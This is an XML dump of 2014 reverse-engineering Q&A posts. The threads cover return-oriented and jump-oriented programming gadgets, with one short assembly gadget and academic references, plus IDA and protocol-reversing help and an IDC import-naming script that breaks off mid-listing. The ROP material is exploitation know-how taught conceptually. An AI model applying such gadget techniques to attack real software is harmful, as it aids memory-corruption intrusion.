  <row Id="4050" PostTypeId="2" ParentId="4049" CreationDate="2014-04-09T20:16:18.373" Score="4" Body="&lt;p&gt;Yes, all the opcodes ending by a &lt;code&gt;ret&lt;/code&gt; can be considered as a gadget. But, consider also the fact that not only legal instructions can be considered as gadget, also '&lt;em&gt;starting in the middle of an instruction&lt;/em&gt;' or '&lt;em&gt;using the static arguments of an instruction&lt;/em&gt;' can be considered as a potential gadget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the only limitation (apart from the fact that it must end by a &lt;code&gt;ret&lt;/code&gt; or something similar) is that the gadget must lay in a memory area that is declared as &lt;em&gt;executable&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly recommend to read the following paper which explain very well all these (probably better than the one you read): &lt;em&gt;&lt;a href=&quot;http://cseweb.ucsd.edu/~hovav/dist/geometry.pdf&quot; rel=&quot;nofollow&quot;&gt;The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)&lt;/a&gt;&lt;/em&gt; by Hovav Shacham. &lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-04-09T20:16:18.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4051" PostTypeId="2" ParentId="4047" CreationDate="2014-04-10T02:19:14.620" Score="4" Body="&lt;p&gt;Open the stack frame window (&lt;kbd&gt;Ctrl-K&lt;/kbd&gt; or double-click on a variable), then delete bogus arguments with &lt;kbd&gt;U&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-04-10T02:19:14.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4053" PostTypeId="1" AcceptedAnswerId="4058" CreationDate="2014-04-10T13:33:11.543" Score="8" ViewCount="341" Body="&lt;p&gt;I have an old device connected to personal computer via specific PCI card. Device is handled with C++ control application, which is not able to run on new versions of Windows. Manufacturer of that device was consumed by big company a while ago and do not continue on development of such devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is disassemble communication protocol between this device and computer, respective between the software and PCI card; however, I am complete beginner. I downloaded IDA tool. I am able to trace application and find couple of subroutines that are often trigerred when application is sending commands to the device, but these subroutines contains others etc etc. &#xA;Also I could not find any meaningful strings in the disassembled application (i was expecting many short string instructions with numeric parameters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask you for some advice, what I should do at first, or what to be careful on when I want to detect communication protocol.&lt;/p&gt;&#xA;" OwnerUserId="4341" LastActivityDate="2014-04-12T08:30:52.063" Title="Disassemble communication protocol for an old device" Tags="|ida|c++|communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4055" PostTypeId="2" ParentId="4049" CreationDate="2014-04-10T18:44:50.617" Score="5" Body="&lt;p&gt;This is a continuation of non-return based gadgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A ROP-gadget in itself is a segment of code that you can use to manipulate data, and get some desired effect, while maintaining control of execution. Here is a paper about &lt;a href=&quot;http://www.comp.nus.edu/~liangzk/papers/asiaccs11.pdf&quot; rel=&quot;nofollow&quot;&gt;Jump Oriented Programming&lt;/a&gt;. Also, &lt;a href=&quot;https://www.cs.jhu.edu/~s/papers/noret_ccs2010/noret_ccs2010.pdf&quot; rel=&quot;nofollow&quot;&gt;Return Oriented Programming without Returns&lt;/a&gt;. They went through libc-2.7 (/lib/i686/cmov/libc-2.7.so of Debian Linux 5.0.4) and found alternative gadgets. These included gadgets ending in &lt;code&gt;jump&lt;/code&gt;,&lt;code&gt;call&lt;/code&gt;,&lt;code&gt;jump+call&lt;/code&gt;,&lt;code&gt;ret&lt;/code&gt;. Logically there will be more &lt;code&gt;ret&lt;/code&gt; rop gadgets however there are still some extremely useful non-return gadgets such as the one below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;popa ; Load all registers&#xA;cmc ; No practical effect&#xA;jmp far dword [ecx] ; Back to dispatcher via ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also seeing a call to a register is not uncommon especially when dealing with C++ binaries that leverage vtables for objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When ROP-ing on ARM its almost mandatory to use less traditional gadgets. Which includes branches into registers,e.g. &lt;code&gt;BX LR&lt;/code&gt; (the most traditional return) or &lt;code&gt;BLX R3&lt;/code&gt;, or straight loads into the program counter, e.g. &lt;code&gt;LDMFD SP!,{R3,PC}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for are there non-useful rop gadgets, of course. There are many gadgets that will lose you control of execution. Depending on the amount of gadgets you have, you wont always have control of all registers so if you cant control say &lt;code&gt;edx&lt;/code&gt;, any rop gadget that ends with a &lt;code&gt;call [edx]&lt;/code&gt; is now not useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Added details about ARM Gadgets and link to Return Oriented Programming without Returns for more complete references.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastEditorUserId="3709" LastEditDate="2014-04-10T19:58:56.890" LastActivityDate="2014-04-10T19:58:56.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4056" PostTypeId="2" ParentId="4049" CreationDate="2014-04-11T11:35:10.307" Score="2" Body="&lt;p&gt;It so happens that for my &quot;Intro to IA class&quot; I wrote what ended up being a decently thorough summary of ROP.  No, this was never published, but we were told we had to follow the academic format for the paper.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What your question references is actually a summary of three previous papers, which means you're missing some valuable detail on Schacham's excellent work. And of course, a long list of hacker's going back at minimum to phrack 49's Aleph One piece.  There's a graphic &lt;a href=&quot;http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;  that details the long history that has culminated in the creation of ROP.  It was essentially a roadmap for my own research.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The paper that will explicitly answer your question is &quot;The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)&quot;  as &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4050/4053&quot;&gt;perror&lt;/a&gt; has already suggested.  In it is provided pseudocode that tells you we're looking for &quot;non-boring sequences&quot; which is defined fully in section 2 with pseudocode.  Later papers demonstrated that ROP was cross-architecture in nature and we can use certain jmp sequences that &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/4055/4053&quot;&gt;jbh discussed.&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A link to my non-peer reviewed unpublished summary is &lt;a href=&quot;https://drive.google.com/file/d/0Bz6zvJtgt4nsS3lqb1VJVUx2Z1k/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt;  Included is a list of references, which I will just drop here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1  FX &amp;amp; Halvar Flake , We Can Take it From Here. Defcon 12 Media&#xA;  Archives,&#xA;  &lt;a href=&quot;http://www.defcon.org/html/links/dc-archives/dc-12-archive.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.defcon.org/html/links/dc-archives/dc-12-archive.html&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2 Alan Turing. “On Computable Numbers, with an Application to the&#xA;  Entscheidungsproblem” Proceedings of the London Mathematical Society,&#xA;  (Ser. 2, Vol. 42, 1937)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3 Nergal.The advanced return-into-lib(c) exploits (PaX case&#xA;  study).Phrack Mag-azine, 58(4), Dec. 2001.&#xA;  &lt;a href=&quot;http://www.phrack.org/archives/58/p58_0x04_Advanced%20return-into-lib(c)%20exploits%20(PaX%20case%20study)_by_nergal.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.phrack.org/archives/58/p58_0x04_Advanced%20return-into-lib(c)%20exploits%20(PaX%20case%20study)_by_nergal.txt&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;4 Hovav Shacham.  The Geometry of Innocent Flesh on the Bone:&#xA;  Return-into-libc without Function Calls (on the x86) .  CCS '07&#xA;  Proceedings of the 14th ACM conference on Computer and communications&#xA;  security, 2007&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[5] Erick Buchanan, Ryan Roemer, Hovav Shacham, Steven Savage.  When&#xA;  Good Instructions Go Bad:  Generalizing Return-Oriented Programming to&#xA;  RISC. CCS '08 Proceedings of the 15th ACM conference on Computer and&#xA;  communications security &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[6] ASCC Reference Room&#xA;  &lt;a href=&quot;http://www-03.ibm.com/ibm/history/exhibits/markI/markI_feeds.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www-03.ibm.com/ibm/history/exhibits/markI/markI_feeds.html&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[7] Aurélien Francillon, Claude Castelluccia . Code Injection Attacks&#xA;  on Harvard-Architecture Devices. CCS '08 Proceedings of the 15th ACM&#xA;  conference on Computer and communications security&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[8] Processors – ARM. &lt;a href=&quot;http://www.arm.com/products/processors/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.arm.com/products/processors/index.php&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[9] Wikipedia. ARM9. &lt;a href=&quot;http://en.wikipedia.org/wiki/ARM9#Chips&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.wikipedia.org/wiki/ARM9#Chips&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[10] Stephen Checkoway, Hovav Sacham, et. al. Return-oriented&#xA;  programming without returns. CCS '10 Proceedings of the 17th ACM&#xA;  conference on Computer and communications security&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[11] Ryan Roemer, Erik Buchanan, Hovav Shacham, Stefan Savage. &#xA;  Return-Oriented Programming: Systems, Languages, and Applications. &#xA;  ACM Transactions on Information and System Security (TISSEC) - Special&#xA;  Issue on Computer and Communications Security Volume 15 Issue 1, March&#xA;  2012.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-04-11T11:35:10.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4058" PostTypeId="2" ParentId="4053" CreationDate="2014-04-11T18:49:47.817" Score="5" Body="&lt;p&gt;You may want to start with something simple like monitoring the API calls the controller application is doing. I'm not sure how old your Windows version is but it might be worth giving &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;API Monitor&lt;/a&gt; a try. It gives you a good start to monitoring the application at least and you get to trivially see how it interacts with the operating system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially what you're looking for is probably &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;CreateFile&lt;/a&gt; followed by &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa363216%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;DeviceIoControl&lt;/a&gt; calls which use the same handle as returned from CreateFile. This is one way for an application to interact with kernel mode software. Another option is to look for a CreateFile call followed by &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa365467%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;ReadFile&lt;/a&gt; and &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;WriteFile&lt;/a&gt; which is another common way for user space applications to communicate with kernel mode drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your software is so old that we're talking Windows 9x you should probably use something like SoftICE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've figured out these things you'd need to examine the driver for the card and look for the handlers for the DeviceIoControl calls you saw before or the ReadFile, WriteFile handling. We've had a similar discussion &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3955/how-to-reverse-deviceiocontrol&quot;&gt;here&lt;/a&gt; and there is a decent resource available as &lt;a href=&quot;http://www.reverse-engineering.info/SystemCoding/SkeletonKMD_Tutorial.htm&quot; rel=&quot;nofollow&quot;&gt;Kernel Mode Driver Tutorial by Clandestiny&lt;/a&gt; which is getting a bit long in the tooth but still applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite a bit of work and I would strongly advice you to buy something like &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1118787315&quot; rel=&quot;nofollow&quot;&gt;Practical Reverse Engineering&lt;/a&gt;, as well as &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593273851&quot; rel=&quot;nofollow&quot;&gt;A bug hunter's diary&lt;/a&gt;. They both discuss the issues of how to reverse engineer user space and kernel mode interaction. If you're very serious about this I would recommend also getting a copy of &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0735648735&quot; rel=&quot;nofollow&quot;&gt;Windows Internals, Part 1&lt;/a&gt; and &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/073566587&quot; rel=&quot;nofollow&quot;&gt;Windows Internals, Part 2&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to look at the actual PCI traffic, which is probably not what you want to do, I think you have to go the hardware route. There's a PCI bus analyzer available from &lt;a href=&quot;http://www.silicon-control.com/pci650.htm&quot; rel=&quot;nofollow&quot;&gt;Silicon Control&lt;/a&gt;, then there's the expensive solutions from the big names, LeCroy and Agilent. Although I'm not sure if they still make PCI bus analyzers anymore or if everyone has moved on to PCIe. You also have the option of breaking out the bus yourself and using an FPGA to sniff the signals. ElectroFriends has &lt;a href=&quot;http://electrofriends.com/articles/computer-science/protocol/introduction-to-pci-protocol/&quot; rel=&quot;nofollow&quot;&gt;a short introduction to the PCI bus&lt;/a&gt; available.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-04-12T08:30:52.063" LastActivityDate="2014-04-12T08:30:52.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4059" PostTypeId="1" AcceptedAnswerId="4061" CreationDate="2014-04-12T09:43:28.897" Score="3" ViewCount="857" Body="&lt;p&gt;I have put alot of work into renaming and fixing lvar types to better understand the code I made a mistake when I was converting some &lt;code&gt;unk_dword&lt;/code&gt; to array I missed that it wasn't set to db but rather dd and it overwritten lots of stuff I lost many my own stuff which I know I won't get back but I can live with that, but I can't seem to get the imports to evaluate with the proper names like they were before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;Load-&amp;gt;FLIRT signature file&lt;/code&gt; with &lt;code&gt;Microsoft VisualC 2-10/net runtime&lt;/code&gt; which seems to be right, didn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In output Window I'm getting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;004DB200: Already data or code (hint: make 'unexplored')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to make it unexplored? how would I do that? I tried Undefining the Imports with the &lt;code&gt;U Key&lt;/code&gt; it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some screenshots how it looks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before looked like this &#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rUkHC.png&quot; alt=&quot;before imports&quot;&gt;&#xA;&lt;br&gt;&#xA;After looks like this&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XJOXy.png&quot; alt=&quot;after imports&quot;&gt;&#xA;&lt;br&gt;&#xA;How it really looks like&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VHy63.png&quot; alt=&quot;imports declares&quot;&gt;&#xA;&lt;br&gt;&#xA;Here is how the bytes used to look like and how they look now (8 extra bytes)&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WFrws.png&quot; alt=&quot;import bytes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-04-12T10:26:55.647" LastActivityDate="2014-04-13T02:29:43.770" Title="IDA PRO Imports Names Lost in a accident, Reanalyze does nothing. How to make unexplored imports?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4060" PostTypeId="1" CreationDate="2014-04-12T11:57:36.370" Score="6" ViewCount="316" Body="&lt;p&gt;I am working with version 8 circa 2000 of Sourcer from V Communications. They no longer support it. I've long since lost the manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a definition file that you edit as you discover the code you are dissembling. In that file's data section you can create a data structure using the DS command. I can't remember the syntax.&lt;/p&gt;&#xA;" OwnerUserId="4353" LastActivityDate="2014-05-23T00:08:40.997" Title="What is the Sourcer syntax for defining data structures?" Tags="|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4061" PostTypeId="2" ParentId="4059" CreationDate="2014-04-12T23:44:32.120" Score="3" Body="&lt;p&gt;&lt;strong&gt;This fix doesn't save to database or is overwritten upon loading IDB database it always reverts back to messed up! (I think there is something I missed to change)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not the right way to do it.. but I managed to solve this using &lt;code&gt;IDC Scripts&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a fresh IDA PRO let it analyze then go to &lt;code&gt;File -&amp;gt; Produce File -&amp;gt; Dump Database to IDC File.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open dumped &lt;code&gt;idc&lt;/code&gt; file in notepad and search for the start of Imports comments such as &lt;code&gt;; Imports from GDI32.dll&lt;/code&gt; since thats where the first Import starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now just copy+paste from the &lt;code&gt;idc&lt;/code&gt; file all the way to the end of the function before the bracket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backup your messed up &lt;code&gt;project.idb&lt;/code&gt; file because this may mess up it even more if you are not careful!.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to &lt;code&gt;File-&amp;gt;IDC Command...&lt;/code&gt; and paste something I posted at the end of this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IDC Command Text box has limitations you can't paste too much so you need to split up by blocks, I advise make sure your block starts with &lt;code&gt;MakeDword&lt;/code&gt; don't end with that.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here was my first Imports from &lt;code&gt;idc&lt;/code&gt; file what it generated below.&lt;br&gt;&#xA;&lt;code&gt;(This will only work for my application only obviously, just showing you what you need to look for.)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto x;&#xA;#define id x&#xA;MakeArray   (0X4DA0EC,  0XF14);&#xA;ExtLinA     (0X4DB200,  0,  &quot;; &quot;);&#xA;ExtLinA     (0X4DB200,  1,  &quot;; Imports from GDI32.dll&quot;);&#xA;ExtLinA     (0X4DB200,  2,  &quot;; &quot;);&#xA;ExtLinA     (0X4DB200,  3,  &quot;; Section 4. (virtual address 000DB000)&quot;);&#xA;ExtLinA     (0X4DB200,  4,  &quot;; Virtual size                  : 0000090E (   2318.)&quot;);&#xA;ExtLinA     (0X4DB200,  5,  &quot;; Section size in file          : 00000A00 (   2560.)&quot;);&#xA;ExtLinA     (0X4DB200,  6,  &quot;; Offset to raw data for section: 0002FC00&quot;);&#xA;ExtLinA     (0X4DB200,  7,  &quot;; Flags C0000040: Data Readable Writable&quot;);&#xA;ExtLinA     (0X4DB200,  8,  &quot;; Alignment     : default&quot;);&#xA;MakeDword   (x=0X4DB200);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB200,  &quot;GetObjectA&quot;);&#xA;MakeDword   (x=0X4DB204);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB204,  &quot;DeleteObject&quot;);&#xA;MakeByte    (0X4DB208);&#xA;MakeArray   (0X4DB208,  0X4);&#xA;ExtLinA     (0X4DB20C,  0,  &quot;; &quot;);&#xA;ExtLinA     (0X4DB20C,  1,  &quot;; Imports from KERNEL32.dll&quot;);&#xA;ExtLinA     (0X4DB20C,  2,  &quot;; &quot;);&#xA;MakeDword   (x=0X4DB20C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB20C,  &quot;GetModuleFileNameA&quot;);&#xA;MakeDword   (x=0X4DB210);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB210,  &quot;WritePrivateProfileStringA&quot;);&#xA;MakeDword   (x=0X4DB214);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB214,  &quot;GetTickCount&quot;);&#xA;MakeDword   (x=0X4DB218);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB218,  &quot;CloseHandle&quot;);&#xA;MakeDword   (x=0X4DB21C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB21C,  &quot;GetFileTime&quot;);&#xA;MakeDword   (x=0X4DB220);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB220,  &quot;CreateFileA&quot;);&#xA;MakeDword   (x=0X4DB224);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB224,  &quot;GetPrivateProfileIntA&quot;);&#xA;MakeDword   (x=0X4DB228);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB228,  &quot;GetPrivateProfileStringA&quot;);&#xA;MakeDword   (x=0X4DB22C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB22C,  &quot;VirtualAlloc&quot;);&#xA;MakeDword   (x=0X4DB230);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB230,  &quot;VirtualFree&quot;);&#xA;MakeDword   (x=0X4DB234);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB234,  &quot;TerminateProcess&quot;);&#xA;MakeDword   (x=0X4DB238);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB238,  &quot;GetExitCodeProcess&quot;);&#xA;MakeDword   (x=0X4DB23C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB23C,  &quot;CreateProcessA&quot;);&#xA;MakeDword   (x=0X4DB240);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB240,  &quot;GetCommandLineA&quot;);&#xA;MakeDword   (x=0X4DB244);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB244,  &quot;SetConsoleTitleA&quot;);&#xA;MakeDword   (x=0X4DB248);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB248,  &quot;Sleep&quot;);&#xA;MakeDword   (x=0X4DB24C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB24C,  &quot;SetEndOfFile&quot;);&#xA;MakeDword   (x=0X4DB250);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB250,  &quot;SetStdHandle&quot;);&#xA;MakeDword   (x=0X4DB254);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB254,  &quot;GetFileType&quot;);&#xA;MakeDword   (x=0X4DB258);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB258,  &quot;ExitProcess&quot;);&#xA;MakeDword   (x=0X4DB25C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB25C,  &quot;GetNumberOfConsoleInputEvents&quot;);&#xA;MakeDword   (x=0X4DB260);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB260,  &quot;PeekConsoleInputA&quot;);&#xA;MakeDword   (x=0X4DB264);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB264,  &quot;GetConsoleMode&quot;);&#xA;MakeDword   (x=0X4DB268);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB268,  &quot;SetConsoleMode&quot;);&#xA;MakeDword   (x=0X4DB26C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB26C,  &quot;ReadConsoleInputA&quot;);&#xA;MakeDword   (x=0X4DB270);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB270,  &quot;SetEnvironmentVariableA&quot;);&#xA;MakeDword   (x=0X4DB274);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB274,  &quot;CompareStringW&quot;);&#xA;MakeDword   (x=0X4DB278);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB278,  &quot;CompareStringA&quot;);&#xA;MakeDword   (x=0X4DB27C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB27C,  &quot;LoadLibraryA&quot;);&#xA;MakeDword   (x=0X4DB280);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB280,  &quot;WaitForSingleObject&quot;);&#xA;MakeDword   (x=0X4DB284);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB284,  &quot;GetStringTypeW&quot;);&#xA;MakeDword   (x=0X4DB288);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB288,  &quot;GetStringTypeA&quot;);&#xA;MakeDword   (x=0X4DB28C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB28C,  &quot;IsBadCodePtr&quot;);&#xA;MakeDword   (x=0X4DB290);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB290,  &quot;IsBadWritePtr&quot;);&#xA;MakeDword   (x=0X4DB294);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB294,  &quot;IsBadReadPtr&quot;);&#xA;MakeDword   (x=0X4DB298);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB298,  &quot;GetOEMCP&quot;);&#xA;MakeDword   (x=0X4DB29C);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB29C,  &quot;GetACP&quot;);&#xA;MakeDword   (x=0X4DB2A0);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2A0,  &quot;GetCPInfo&quot;);&#xA;MakeDword   (x=0X4DB2A4);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2A4,  &quot;GetEnvironmentStringsW&quot;);&#xA;MakeDword   (x=0X4DB2A8);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2A8,  &quot;GetTimeZoneInformation&quot;);&#xA;MakeDword   (x=0X4DB2AC);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2AC,  &quot;GetSystemTime&quot;);&#xA;MakeDword   (x=0X4DB2B0);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2B0,  &quot;GetLocalTime&quot;);&#xA;MakeDword   (x=0X4DB2B4);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2B4,  &quot;__imp_RtlUnwind&quot;);&#xA;MakeDword   (x=0X4DB2B8);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2B8,  &quot;GetLastError&quot;);&#xA;MakeDword   (x=0X4DB2BC);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2BC,  &quot;GetEnvironmentStrings&quot;);&#xA;MakeDword   (x=0X4DB2C0);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    0);&#xA;MakeName    (0X4DB2C0,  &quot;FreeEnvironmentStringsW&quot;);&#xA;MakeDword   (x=0X4DB2C4);&#xA;OpOff       (x, 0,  0);&#xA;OpOff       (x, 128,    